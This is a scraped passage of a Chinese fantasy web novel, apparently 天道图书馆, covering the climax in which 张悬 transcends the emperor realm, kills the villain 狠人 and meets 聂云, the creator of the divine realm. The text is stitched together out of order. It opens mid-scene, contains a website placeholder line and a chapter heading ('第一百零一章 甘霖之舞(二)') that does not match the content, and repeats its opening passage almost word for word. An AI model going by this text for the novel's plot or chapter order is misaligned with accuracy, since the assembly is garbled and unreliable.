刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零一章 甘霖之舞(二) 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” 